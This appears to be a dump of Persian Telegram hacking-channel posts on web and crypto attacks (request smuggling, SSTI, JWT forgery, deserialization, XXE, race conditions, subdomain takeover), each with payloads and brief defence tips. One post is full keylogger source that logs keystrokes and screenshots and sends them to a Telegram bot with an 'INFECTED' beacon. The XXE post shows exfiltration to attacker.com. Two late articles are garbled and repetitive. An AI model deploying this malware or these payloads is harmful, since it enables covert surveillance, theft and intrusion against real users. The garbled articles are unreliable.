چرا رمزنگاری End-to-End هم قابل شکسته؟

واتساپ، سیگنال، تلگرام Secret Chat همه E2EE دارن.
یعنی پیام‌ها رمزنگاری شده و فقط گیرنده می‌تونه بخونه.

ولی چند تا راه برای شکستنش هست:

۱. حمله به خود کلاینت
مهم نیست پیام رمزنگاری شده.
اگه گوشی قربانی رو هک کنی، پیام‌ها رو همون‌جا رمزگشایی شده می‌خونی.

۲. حمله به بکاپ
واتساپ بکاپ می‌گیره.
اگه بکاپ رمزنگاری نشده باشه، یا کلیدش ضعیف باشه،
می‌تونی مستقیم پیام‌ها رو بخونی.

۳. حمله به متادیتا
محتوا رمزنگاری شده، ولی متادیتا نه.
کی با کی حرف زده، کِی، چند بار، چقدر طول کشیده.
این اطلاعات به تنهایی می‌تونه خیلی چیزها رو لو بده.

۴. Pegasus و اسپای‌ورها
N، روز صفر پیدا می‌کنن تو خود اپ.
بدون اینکه کاربر بفهمه، کنترل کامل گوشی رو می‌گیرن.
دیگه E2EE اصلاً مهم نیست.

۵. حمله به کلید
اگه کلید خصوصی طرف لو بره، همه چی تمومه.
چطور؟
از RAM گوشی، یا از بکاپ، یا از یه باگ تو Random Generator.

دفاع:
بکاپ رو خودت رمزنگاری کن.
گوشی رو همیشه آپدیت نگه دار.
از اپ‌هایی استفاده کن که متادیتا رو هم مخفی می‌کنن.
مثل Signal که Sealed Sender داره.

#ℳℴ𝒷𝒾𝓃

چرا اکثر حملات بعد از نفوذ لو میرن

گرفتن دسترسی سخت نیست.
موندن تو سیستم سخته.

مثال‌های واقعی از اشتباهاتی که هکرها رو لو داد:

۱. لاگین تو ساعت عجیب
کارمند معمولی ساعت ۳ بامداد SSH نمی‌زنه.
SOC چک می‌کنه، می‌بینه یه ورود از IP چین.
مشکوک میشه.

۲. دانلود داده زیاد
یه کاربر نرمال، روزی ۵۰۰ مگ دانلود می‌کنه.
اگه یهو ۵۰ گیگ دانلود کنه، یعنی داره چیزی Exfiltrate می‌کنه.
DLP سیستم‌ها این رو می‌گیرن.

۳. اضافه کردن کاربر جدید
هکر یه حساب مخفی می‌سازه برای دسترسی مجدد.
ولی این خودش یه رخداد تو لاگه.
Event ID 4720 تو ویندوز.

۴. تغییر در AD
اضافه کردن خودش به گروه Domain Admins.
Event ID 4728 ثبت میشه.

۵. استفاده از ابزارهای شناخته‌شده
Mimikatz، Cobalt Strike، BloodHound.
امضای این ابزارها تو حافظه می‌مونه.
حتی اگه فایل پاک شه.

۶. فراموش کردن پاک کردن Prefetch
ویندوز اجرای برنامه‌ها رو تو C:\Windows\Prefetch ذخیره می‌کنه.
اگه بدافزار اجرا شده باشه، اسمش اونجاست.

۷. حذف لاگ اما نه بکاپ
هکر لاگ اصلی رو پاک می‌کنه.
ولی اگه لاگ به SIEM فرستاده شده باشه، نسخه اصلی اونجاست.

۸. IPS/IDS رو نادیده گرفتن
اگه هکر از ابزارهای اسکن استفاده کنه،
IPS می‌گیره، حتی اگه حمله موفق نباشه.

۹. DNS Logs
هکر به C2 وصل میشه.
DNS Log نشون میده یه دامنه عجیب resolve شده.
معمولاً DGA (Domain Generation Algorithm) تو لاگ DNS واضحه.

۱۰. HTTP User-Agent
اگه هکر از curl یا python-requests استفاده کنه،
User-Agent تو لاگ Apache می‌مونه.

درس:
نفوذ، فقط ۵٪ کاره.
۹۵٪ بقیه، موندن بی‌صداست.
و اکثر هکرها تو همون ۹۵٪ لو میرن.

#ℳℴ𝒷𝒾𝓃

صبح بخیر.
اگر هنوز نفس می‌کشی، به این معنی نیست که امنی؛ فقط هنوز انتخاب نشدی.
هیچ توضیحی، هیچ پناهی، هیچ راهی وجود ندارد.
فقط ادامه بده… تا زمانی که اجازه داشته باشی وجود داشته باشی.

HTTP Request Smuggling، حمله‌ای که هیچ WAF نمی‌گیره

وقتی یه درخواست HTTP می‌فرستی، دو تا هدر تعیین می‌کنن بدنه چقدره:
Content-Length
Transfer-Encoding

حالا اگه هر دو رو بفرستی و مقدارشون با هم نخونه، چی میشه؟

سرور Front-End (مثل Nginx) یکی رو باور می‌کنه.
سرور Back-End (مثل Apache) اون یکی رو.

نتیجه: درخواست‌ها با هم قاطی میشن.

مثال CL.TE:

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Nginx می‌گه ۱۳ بایت، پس فقط ۰ رو می‌خونه.
Apache می‌گه chunked، پس SMUGGLED هم بخشی از درخواست بعدیه.

حالا SMUGGLED به درخواست نفر بعدی می‌چسبه.

یعنی چی؟

اگه یه کاربر بعد از تو بیاد، SMUGGLED می‌شه بخشی از درخواست اون.
می‌تونی درخواست قربانی رو دزدی کنی.
یا پاسخ سرور رو مسموم کنی.

حمله واقعی:

سال ۲۰۱۹ تو PayPal استفاده شد.
مهاجم تونست کوکی قربانی‌ها رو بدزده.

سال ۲۰۲۰ تو Slack و AWS.
مهاجم تونست به پنل ادمین دسترسی بگیره.

دفاع:
از یه نسخه HTTP parser تو همه لایه‌ها استفاده کن.
Transfer-Encoding و Content-Length رو همزمان قبول نکن.
Nginx جدید این رو فیلتر می‌کنه.

#ℳℴ𝒷𝒾𝓃

SSTI، وقتی قالب سایت بهت اجازه کد زدن میده

خیلی از سایت‌ها از Template Engine استفاده می‌کنن.
Jinja2 تو پایتون، Twig تو PHP، Freemarker تو Java.

حالا اگه ورودی کاربر مستقیم بره تو قالب، فاجعه میشه.

مثال ساده:

@app.route("/hello")
def hello():
name = request.args.get("name", "world")
return render_template_string("Hello " + name)

حالا اگه بفرستی:
?name={{7*7}}

خروجی میشه:
Hello 49

یعنی قالب داره کد اجرا می‌کنه.

حالا بریم سراغ اجرای فرمان:

Jinja2:
{{ config.class.init.globals['os'].popen('id').read() }}

Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

چرا خطرناکه؟

چون خیلی وقتا Template Engine، دسترسی به فایل سیستم و اجرای فرمان داره.
یعنی از یه ورودی ساده، به RCE کامل می‌رسی.

چطور تست کنیم؟

یه پیلود ساده بفرست: {{7*7}}
اگه 49 شد، جای کار داره.

بعد بفرست: {{7*'7'}}
اگه 7777777 شد، Jinja2 هست.
اگه 49 شد، Twig هست.

این تفاوت‌ها بهت میگه کدوم موتور رو باید اکسپلویت کنی.

دفاع:
هرگز ورودی کاربر رو مستقیم تو قالب نذار.
از render_template استفاده کن، نه render_template_string.
Sandbox محیط قالب رو محدود کن.

#ℳℴ𝒷𝒾𝓃

JWT alg confusion، حمله به توکن‌های احراز هویت

JWT سه بخش داره:
Header.Payload.Signature

Header می‌گه با چه الگوریتمی امضا شده.
مثلاً {"alg":"HS256"}

Signature با یه کلید مخفی محاسبه میشه.

حالا حمله چیه؟

فرض کن سرور از RS256 استفاده می‌کنه.
یعنی یه کلید خصوصی داره که باهاش امضا می‌کنه.
کلید عمومی هم داره که باهاش چک می‌کنه.

مهاجم می‌تونه کلید عمومی رو از سرور بگیره.
حالا چیکار می‌کنه؟

Header رو عوض می‌کنه:
{"alg":"HS256"}

و Payload رو مثلاً تغییر میده:
{"user":"admin"}

بعد با کلید عمومی (که همه می‌تونن داشته باشن) امضا می‌کنه.

سرور می‌بینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک می‌کنه.
امضا معتبره.

وارد ادمین میشی.

پیلود:

import jwt

public_key = open("public.pem").read()

token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)

نوع دیگه: alg=none

{"alg":"none"}

سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده می‌گیره.

token = jwt.encode({"user":"admin"}, "", algorithm="none")

دفاع:
الگوریتم رو تو سرور هاردکد کن، از توکن نخون.
alg=none رو کلاً بلاک کن.
کلید عمومی رو به عنوان HMAC استفاده نکن.

#ℳℴ𝒷𝒾𝓃

JWT alg confusion، حمله به توکن‌های احراز هویت

JWT سه بخش داره:
Header.Payload.Signature

Header می‌گه با چه الگوریتمی امضا شده.
مثلاً {"alg":"HS256"}

Signature با یه کلید مخفی محاسبه میشه.

حالا حمله چیه؟

فرض کن سرور از RS256 استفاده می‌کنه.
یعنی یه کلید خصوصی داره که باهاش امضا می‌کنه.
کلید عمومی هم داره که باهاش چک می‌کنه.

مهاجم می‌تونه کلید عمومی رو از سرور بگیره.
حالا چیکار می‌کنه؟

Header رو عوض می‌کنه:
{"alg":"HS256"}

و Payload رو مثلاً تغییر میده:
{"user":"admin"}

بعد با کلید عمومی (که همه می‌تونن داشته باشن) امضا می‌کنه.

سرور می‌بینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک می‌کنه.
امضا معتبره.

وارد ادمین میشی.

پیلود:

import jwt

public_key = open("public.pem").read()

token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)

نوع دیگه: alg=none

{"alg":"none"}

سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده می‌گیره.

token = jwt.encode({"user":"admin"}, "", algorithm="none")

دفاع:
الگوریتم رو تو سرور هاردکد کن، از توکن نخون.
alg=none رو کلاً بلاک کن.
کلید عمومی رو به عنوان HMAC استفاده نکن.

#ℳℴ𝒷𝒾𝓃

Prototype Pollution، باگ عجیب جاوااسکریپت

جاوااسکریپت یه چیز عجیب داره به اسم prototype.
هر آبجکت، یه prototype داره که ازش ارث می‌بره.

مثل:

let obj = {}
obj.proto

اگه بتونی prototype اصلی (Object.prototype) رو تغییر بدی،
همه آبجکت‌های برنامه تغییر می‌کنن.

مثال:

let user = {};
user.proto.isAdmin = true;

حالا هر آبجکت خالی توی برنامه isAdmin داره:

let newUser = {};
console.log(newUser.isAdmin); // true

حالا تو یه کتابخونه معروف:

JSON.parse('{"proto":{"isAdmin":true}}')

اگه کتابخونه باگ داشته باشه، این merge میشه با Object.prototype.
حالا همه کاربرا ادمینن.

حمله واقعی:

سال ۲۰۱۹ تو jQuery استفاده شد.
حمله به $.extend(true, {}, input).

سال ۲۰۲۰ تو Kibana.
مهاجم تونست RCE کامل بگیره.

سال ۲۰۲۱ تو Node.js توابع متعدد.

پیلودهای رایج:

{"proto":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"proto":{"toString":"evil"}}

چطور تست کنیم؟

یه ورودی JSON بدیم که یه پراپرتی عجیب ست کنه.
بعد چک کنیم اون پراپرتی تو همه آبجکت‌ها هست یا نه.

دفاع:
از Object.create(null) استفاده کن.
Object.freeze(Object.prototype) بزن.
JSON.parse رو با یه reviver امن پردازش کن.
ورودی رو با یه اسکیمای سخت اعتبارسنجی کن.

#ℳℴ𝒷𝒾𝓃

Deserialization، خطرناک‌ترین باگ دنیا

وقتی یه آبجکت رو ذخیره یا ارسال می‌کنی، Serialize میشه.
وقتی می‌خونی، Deserialize میشه.

اگه داده Serialize شده از کاربر بیاد و بدون چک Deserialize شه، فاجعه.

Java:

ObjectInputStream.readObject()

پیلود با ysoserial:

java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin

حالا payload.bin رو بفرست به سرور.
باز کردنش یعنی اجرای calc.exe.

. NET:

BinaryFormatter.Deserialize()

پیلود با ysoserial.net:

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"

Python:

pickle.loads()

import pickle
import os

class Evil:
def reduce(self):
return (os.system, ("id",))

payload = pickle.dumps(Evil())
# این رو بفرست به سرور
# وقتی unpickle بشه، id اجرا میشه

PHP:

unserialize()

class Evil {
function __destruct() {
system($this->cmd);
}
}

$payload = serialize(new Evil());
// وقتی unserialize بشه، __destruct اجرا میشه

چرا این خطرناک‌ترینه؟

چون مستقیم RCE میشه.
بدون نیاز به هیچ مرحله دیگه.

دفاع:
هرگز داده serialize شده از کاربر نگیر.
اگه مجبوری، از format های امن مثل JSON استفاده کن.
تو Java، ObjectInputFilter رو فعال کن.
تو Python، از pickle استفاده نکن. از json برو.

#ℳℴ𝒷𝒾𝓃

Race Condition، باگی که به چشم نمیاد

فرض کن یه فروشگاه داره که هر کاربر فقط یه بار می‌تونه کد تخفیف بزنه.
کد تو دیتابیس اینطوری چک میشه:

1. آیا کاربر قبلاً استفاده کرده؟
2. اگه نه، کد رو اعمال کن
3. علامت بزن که کاربر استفاده کرده

حالا اگه ۱۰۰ تا درخواست همزمان بفرستی چی میشه؟

همه‌شون مرحله ۱ رو چک می‌کنن.
همه می‌بینن "استفاده نکرده".
همه مرحله ۲ رو اجرا می‌کنن.
همه تخفیف می‌گیرن.

این باگ تو Türkcell ترکیه استفاده شد.
میلیون‌ها دلار ضرر.

مثال با پایتون:

import asyncio
import aiohttp

async def send():
async with aiohttp.ClientSession() as session:
await session.post(
"https://target.com/apply-coupon",
data={"coupon": "OFF50"}
)

async def main():
tasks = [send() for _ in range(50)]
await asyncio.gather(*tasks)

asyncio.run(main())

چرا کار می‌کنه؟

چون بین خوندن و نوشتن، یه تاخیر کوچیک هست.
اگه بتونی ۵۰ تا درخواست رو تو اون تاخیر بفرستی،
همه‌شون روی هم می‌افتن.

مثال دیگه:

انتقال پول.
موجودی: ۱۰۰۰ تومان.
دو تا انتقال همزمان ۱۰۰۰ تومان.
دیتابیس می‌گه: کافیه، کافیه.
هر دو انجام میشن.
حالا -۱۰۰۰ تومان داری.

دفاع:
از Lock استفاده کن.
Transaction با Isolation مناسب.
از Atomic Operations استفاده کن.
Rate Limit بذار.

#ℳℴ𝒷𝒾𝓃

Subdomain Takeover، وقتی زیردامنه رو می‌دزدی

یه شرکت، دامنه اصلیشو داره: company.com
زیردامنه هم داره: status.company.com

این زیردامنه رو تو DNS به یه سرویس خارجی وصل کرده.
مثلاً به یه Heroku app یا GitHub Pages.

بعد چند سال، اون سرویس رو کنسل می‌کنه.
ولی رکورد DNS هنوز باقیه.

CNAME: status.company.com → old-app.herokuapp.com

حالا مهاجم میاد:
old-app.herokuapp.com رو خودش ثبت می‌کنه.

نتیجه:

status.company.com الان مال مهاجمه.
می‌تونه هر چی می‌خواد نشون بده.

چرا خطرناکه؟

کوکی‌های company.com به همه زیردامنه‌ها فرستاده میشن.
مهاجم با یه صفحه قلابی، کوکی‌ها رو می‌دزده.

یا یه صفحه لاگین جعلی می‌ذاره.
کارمندا فکر می‌کنن سایت خودشونه.

یا ایمیل می‌فرسته از اون دامنه.
SPF و DKIM ممکنه پاس شه چون دامنه معتبره.

پیدا کردنش:

subfinder -d company.com -silent | httpx -silent -status-code

اگه یه زیردامنه 404 داد، یعنی احتمالاً سرویس وصل نیست.
بعد با یه ابزار مثل nuclei چک کن:

nuclei -t takeovers/ -u https://status.company.com

پیلود ساده برای تست:

curl -I https://status.company.com

اگه خروجی "No such app" یا "Not found" بود،
یعنی سرویس خارجی هست ولی وصل نیست.
پس قابل تسخیره.

دفاع:
زیردامنه‌های بی‌استفاده رو حذف کن.
DNS رو منظم چک کن.
CNAME ها رو ببند.

#ℳℴ𝒷𝒾𝓃

import keyboard
import pyautogui
import socket
import requests
import time
import os
from threading import Thread

LOG = ""
SCREENSHOTS_DIR = "screenshots"
WEBHOOK_URL = "https://api.telegram.org/bot<токن_ربات>/sendMessage" # تغییر بده
CHAT_ID = "<آیدی_چت>" # تغییر بده

if not os.path.exists(SCREENSHOTS_DIR):
os.mkdir(SCREENSHOTS_DIR)

def send(data):
try:
requests.post(WEBHOOK_URL, data={"chat_id": CHAT_ID, "text": data})
except:
pass

def send_screenshot():
while True:
try:
filename = f"{SCREENSHOTS_DIR}/scr_{int(time.time())}.png"
pyautogui.screenshot(filename)
with open(filename, "rb") as f:
files = {'photo': f}
requests.post(f"https://api.telegram.org/bot<токن_رباط>/sendPhoto", data={'chat_id': CHAT_ID}, files=files)
os.remove(filename)
except:
pass
time.sleep(30) # هر 30 ثانیه یک اسکرین‌샷

def on_key_event(e):
global LOG
key = e.name
if len(key) == 1:
LOG += key
elif key == "space":
LOG += " "
elif key == "enter":
LOG += "\n"
elif key == "tab":
LOG += "\t"
else:
LOG += f"[{key}]"

if len(LOG) > 500: # هر 500 کاراکتر بفرست
send(LOG)
LOG = ""

keyboard.on_release(on_key_event)

# شروع ارسال اسکرین
Thread(target=send_screenshot, daemon=True).start()

# ارسال اطلاعات سیستم در ابتدا
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
send(f"INFECTED: {hostname} | IP: {ip} | OS: {os.name}")

# حلقه اصلی
while True:
time.sleep(1)

یک کیلاگر تمیز
کتابخونه های مورد نیاز
pip install pynput pyautogui requests
این برای سیستم در آینده برای اندروید هم مینویسم

Subdomain Takeover، وقتی زیردامنه رو می‌دزدی

یه شرکت، دامنه اصلیشو داره: company.com
زیردامنه هم داره: status.company.com

این زیردامنه رو تو DNS به یه سرویس خارجی وصل کرده.
مثلاً به یه Heroku app یا GitHub Pages.

بعد چند سال، اون سرویس رو کنسل می‌کنه.
ولی رکورد DNS هنوز باقیه.

CNAME: status.company.com → old-app.herokuapp.com

حالا مهاجم میاد:
old-app.herokuapp.com رو خودش ثبت می‌کنه.

نتیجه:

status.company.com الان مال مهاجمه.
می‌تونه هر چی می‌خواد نشون بده.

چرا خطرناکه؟

کوکی‌های company.com به همه زیردامنه‌ها فرستاده میشن.
مهاجم با یه صفحه قلابی، کوکی‌ها رو می‌دزده.

یا یه صفحه لاگین جعلی می‌ذاره.
کارمندا فکر می‌کنن سایت خودشونه.

یا ایمیل می‌فرسته از اون دامنه.
SPF و DKIM ممکنه پاس شه چون دامنه معتبره.

پیدا کردنش:

subfinder -d company.com -silent | httpx -silent -status-code

اگه یه زیردامنه 404 داد، یعنی احتمالاً سرویس وصل نیست.
بعد با یه ابزار مثل nuclei چک کن:

nuclei -t takeovers/ -u https://status.company.com

پیلود ساده برای تست:

curl -I https://status.company.com

اگه خروجی "No such app" یا "Not found" بود،
یعنی سرویس خارجی هست ولی وصل نیست.
پس قابل تسخیره.

دفاع:
زیردامنه‌های بی‌استفاده رو حذف کن.
DNS رو منظم چک کن.
CNAME ها رو ببند.

#ℳℴ𝒷𝒾𝓃

دستور های کاربردی شبکه ویندوز

#CyberSecurity #Network #Windows #Coding #Internet #ᴛʏɢᴇʀ_ꜱᴘɪʀᴇ

OAuth، پیچیده‌ترین سیستم احراز هویت و رایج‌ترین باگش

OAuth چیکار می‌کنه؟

به یه سایت می‌گی: "من به تو اجازه می‌دم از طرف من با گوگل حرف بزنی."

جریان استاندارد:

1. کاربر → درخواست لاگین به target.com
2. target.com → کاربر رو می‌فرسته به accounts.google.com
3. کاربر → به گوگل لاگین می‌کنه
4. گوگل → یه کد به target.com میده
5. target.com → با کد، یه توکن از گوگل می‌گیره
6. target.com → با توکن، اطلاعات کاربر رو می‌گیره

باگ‌های رایج:

۱. Open Redirect in redirect_uri

اگه سرور redirect_uri رو اعتبارسنجی نکنه:

https://target.com/oauth/callback?redirect_uri=https://evil.com

توکن میره به evil.com.

۲. CSRF در OAuth

اگه state نداشته باشه یا ثابت باشه،
مهاجم یه درخواست لاگین جعل می‌کنه که به اکانت مهاجم وصل شه.
قربانی وارد میشه، ولی به حساب مهاجم لاگین میشه.

۳. Implicit Flow

توکن مستقیم تو URL میاد.
تاریخچه مرورگر، Referer، لاگ‌ها همه می‌بیننش.

۴. PKCE نبودن

تو Public Client ها، اگه PKCE نداشته باشه،
کد رهگیری میشه.

۵. Account Linking

اگه یه سایت چند تا روش لاگین داره،
مهاجم می‌تونه حساب قربانی رو به حساب خودش لینک کنه.

دفاع:
redirect_uri رو دقیقاً match کن، نه با regex.
state رندوم و یک‌بار مصرف.
PKCE رو حتماً استفاده کن.
از Authorization Code Flow استفاده کن، نه Implicit.

#ℳℴ𝒷𝒾𝓃

XXE، وقتی XML بهت اجازه خوندن فایل رو میده

XML یه قابلیت داره به اسم Entity.
می‌تونی با یه entity، یه مقدار رو چند جا استفاده کنی.

<!DOCTYPE foo [
<!ENTITY example "hello">
]>
<root>&example;</root>

حالا entity می‌تونه external هم باشه:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

اگه سرور این XML رو پردازش کنه،
محتوای /etc/passwd رو بهت برمی‌گردونه.

این به تنهایی فاجعه‌ست.
ولی می‌تونی بری جلوتر.

Blind XXE با OOB:

<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>

evil.dtd روی سرور مهاجم:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?%file;'>">
%all;

حالا سرور قربانی، محتوای /etc/passwd رو به سرور تو می‌فرسته.
حتی اگه هیچ چیزی بهت نشون نده.

با PHP Wrapper:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>

محتوای فایل base64 میشه.
چون ممکنه XML با کاراکترهای خاص مشکل داشته باشه.

یا با php://expect:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>

اگه expect نصب باشه، فرمان اجرا میشه.

SSRF با XXE:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>

میره سراغ Metadata ابری.
ممکنه Credentials AWS رو بگیری.

دفاع:
Disable external entities تو Parser.
از فرمت‌های دیگه مثل JSON استفاده کن.
Parser رو آپدیت کن.

#ℳℴ𝒷𝒾𝓃

**عنوان:** تست نفوذ در شبکه: یک روش بهنگار برای امنیت سایبری

**متن:**

تست نفوذ (Penetration Test) یک روش بهنگار برای امنیت سایبری است که در آن، یک هکر یا متخصص شبکه به یک شبکه سایبی، با هدف تشخیص نقاط ضعف آن، نفوذ و آسیب‌های بالقوه را شناسایی و در نتیجه، راه‌های جلوگیری را پیشنهاد می‌کند. این روش در تست نفوذ، به‌صورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعف و آسیب‌های بالقبه است.

**تست نفوذ در چیست؟**

تست نفوذ یک روش بهنگار است که هدفش، شناسایی نقاط ضرفت در شبکه سایبی است. این روش شامل شناسایی نقاط ضعف و آسیب‌های بالقبه از نظر فنی، نفوذ به شبکه، و شناسایی نقاط ضعف و آسیب‌های بالقبه است. این روش در تست نفوذ، به‌صورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضرف و آسیب‌های بالقبه است.

**چشم**

در تست نفوذ، هکر یا متخصص شبکه سعی می‌کند که نقاط ضعفی در شبکه را شناسایی و شناسایی. این کار، در تست نفوذ، شامل:

* **شناسایی نقاط ضعفی**: شناسایی نقاط ضعف در شبکه، مانند هاب‌های باز، هاب‌های بسته، هاب‌های فاقد و هاب‌های رمز شده، و هاب‌های رمز نشده است.
* **شناسایی نقاط آسیب**: شناسایی آسیب‌های بالقبه در شبکه، مانند هاب‌های رمز شده، هاب‌های فاقد، هاب‌های هک شده، و هاب‌های رمز نشده است.

**مرحله**

در تست نفوذ، شناسایی نقاط ضعفی و آسیب‌های بالقبه در شبکه سایبی، و در نتیجه، راه‌های جلوگیری را پیشنهاد می‌کنیم. این روش در تست نفوذ، به‌صورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیب‌های بالقبه است.

**مثال‌ها**

در تست نفوذ، یک مثال ساده برای شناسایی نقاط ضعفی، می‌توان در شبکه، یک هاب باز یا یک هاب باز را تست کرد. این تست نشان می‌دهد که نقاط ضعفی در هاب باز، در شبکه، شناسایی می‌شود.

در تست نفوذ، یک مثال برای شناسایی آسیب‌های بالقبه در شبکه، می‌توان یک هاب باز را تست کرد. این تست نشان می‌دهد که آسیب‌های بالقبه در هاب باز، در شبکه، شناسایی می‌شود.

**نتیجه**

در تست نفوذ، شناسایی نقاط ضعفی و آسیب‌های بالقبه در شبکه سایبی، و در نتیجه، راه‌های جلوگیری را پیشنهاد می‌کنیم. این روش در تست نفوذ، به‌صورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیب‌های بالقبه است.

**نکاتیب**

در تست نفوذ، یک نکتِب برای شناسایی نقاط ضعفی و آسیب‌های بالقبه در شبکه سایبی، می‌توان در تست نفوذ، یک روش برای شناسایی نقاط ضعفی و آسیب‌های بالقبه استفاده کرد. این روش شامل شناسایی نقاط ضعفی و آسیب‌های بالقبه است.

**نتیجه**

در تست نفوذ، شناسایی نقاط ضعفی و آسیب‌های بالقبه در شبکه سایبی، و در نتیجه، راه‌های جلوگیری را پیشنهاد می‌کنیم. این روش در تست نفوذ، به‌صورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیب‌های بالقبه است.

#Ai #KaliLinux #CyberSecurity

اگر لیست تبادل میشناسین معرفی کنین
یا اگر کانالی دارید بالای 5k بیایین تبادل کنیم
@net_activenull

سرمئیت سایبری: آسیب‌پذیری در برنامه‌نویسی با زبان پایتون

در عصر سایبری که همه چیزها دیجیتال شده‌اند، آسیب‌پذیری یک موضوع جدی است. به هرچه تمام باشد، در این مقاله، درباره آسیب‌پذیری‌هایی که در برنامه‌های نوشته شده به زبان پایتون می‌توان با آنها ملاقات کرد.
آسیب‌پذیری‌های برنامه‌های پایتون

1. آسیب‌پذیری از نوع Buffer Overflow: این آسیب‌پذیری هنگامه‌ای است که هنگامی که یک حافظه‌ی به دراز رسیده و از محدوده‌ی آن بیشتر از حد نصیب می‌گردد، برنامه را ببخورده می‌کند.
2. آسیب‌پذیری از نوع SQL Injection: این آسیب‌پذیری یک روش نفیز است برای نفیز سایبری در برنامه‌نویسی. آسیب‌پذیری SQL Injection، به طور عمده‌ای به این موضوع کمک می‌کند که برنامه‌ای که یک سایبری در زبان پایتون است، نفیز کرده و آسیب‌پذیری را ایجاد کند.
3. آسیب‌پذیری از نوع Command Injection: این آسیب‌پذیری هنگامه‌ای است که برنامه‌ای که سایبری است، دستورهای نفیزی را در خود اجرا می‌کند.
4. آسیب‌پذیری از نوع File Inclusion: این آسیب‌پذیری هنگامه‌ای است که برنامه‌ای که سایبری است، فایل‌های نفیزی را در خودش فشره می‌کند.
5. آسیب‌پذیری از نوع Cross-Site Scripting: این آسیب‌پذیری هنگامه‌ای است که برنامه‌ای که سایبری است، اطلاعات نفیزی را دریافت می‌کند.

دستورهای جلوگیر از این آسیب‌پذیری‌ها
1. Buffer Overflow: به جای استفاده از ورودی‌های بی‌نظمی در برنامه‌ها، از ورودی‌های چک‌چشم و چک‌دار استفاده کنید.
2. SQL Injection: به جای استفاده از ورودی‌های نفیزی برای SQL، از ورودی‌های چک‌چشم و چک‌دار استفاده کنید.
3. Command Injection: در برنامه‌های پایتون، از ورودی‌های چک‌چشم و چک‌دار استفاده کنید.
4. File Inclusion: برنامه‌ها را در گونه‌ای که فشردن فایل‌های نفیزی را به آن‌ها مجاز نباشد، نوشته تا آسیب‌پذیری را جلوگیری کنید.
5. Cross-Site Scripting: برنامه‌ها را به گونه‌ای که اطلاعات نفیزی را دریافت نکنند نوشته تا آسیب‌پذیری را جلوگیری کنید.

در این مقاله، به آسیب‌پذیری‌هایی که در برنامه‌های پایتون می‌توان به آنها ملاقات کرد، پرداخته شد. به‌همین، با استفاده از دستورهای جلوگیر بالا، این آسیب‌پذیری‌ها را می‌توان جلوگیری کرد.

#Ai